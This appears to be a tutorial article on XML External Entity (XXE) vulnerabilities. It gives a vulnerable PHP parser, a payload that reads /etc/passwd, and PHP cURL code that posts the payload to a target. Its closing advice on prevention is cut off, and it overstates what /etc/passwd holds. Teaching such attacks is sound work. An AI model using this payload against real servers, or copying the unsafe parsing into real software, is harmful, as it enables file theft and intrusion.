Introduction:

XXE (XML External Entity) is a type of vulnerability in web applications that use XML parsers. XXE vulnerabilities allow attackers to exploit the functionality of XML parsers to access sensitive data and execute remote code. In this article, we will discuss XXE vulnerabilities in detail and provide a proof-of-concept (POC) demonstration.

What is XXE?

XXE (XML External Entity) is an attack that targets web applications that parse XML input. XML is a markup language used to represent data in a structured format. Many web applications use XML parsers to process XML data, such as RSS feeds or SOAP messages. An XML parser is a software component that reads an XML document and converts it into an internal data structure that can be processed by the application.

An XXE attack occurs when an attacker injects a malicious XML document into an application. The malicious XML document contains an external entity reference, which is a reference to an external resource such as a file or a network resource. When the XML parser processes the document, it retrieves the external entity referenced in the document and processes it. This can allow the attacker to access sensitive data, such as passwords or confidential documents, or to execute arbitrary code on the server.

POC demonstration:

To demonstrate an XXE vulnerability, we will create a simple web application that parses XML input and displays the result on a web page. The web application will use an XML parser that is vulnerable to XXE attacks. The following code demonstrates a vulnerable XML parser:

$xml = new DOMDocument();
$xml->loadXML($_POST['xml']);
echo $xml->saveXML();

The web application accepts XML input via a POST request and uses the DOMDocument class to parse the input. The parsed XML is then displayed on the web page using the saveXML() method.

To exploit this vulnerability, an attacker can craft a malicious XML document that contains an external entity reference. The following XML document demonstrates an XXE attack:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

The XML document defines an external entity named “xxe” that references the file “/etc/passwd” on the server. When the web application parses this XML document, the parser retrieves the contents of the “/etc/passwd” file and includes it in the parsed XML. This allows the attacker to access the contents of the “/etc/passwd” file, which may contain sensitive information such as usernames and passwords.

To exploit this vulnerability, an attacker can send a POST request to the vulnerable web application with the malicious XML document as the input. The following code demonstrates how an attacker can send a POST request using cURL:

$xml = '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-app.com');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('xml' => $xml));
$response = curl_exec($ch);
curl_close($ch);

echo $response;

The CURL code sends a POST request to the vulnerable web application with the malicious XML document as the input. The response from the web application includes the contents of the “/etc/passwd” file, which are displayed on the web page.

Conclusion:

XXE vulnerabilities are a serious threat to web applications that use XML parsers. Attackers can exploit XXE vulnerabilities to access sensitive data and execute remote code. To prevent XXE attacks.

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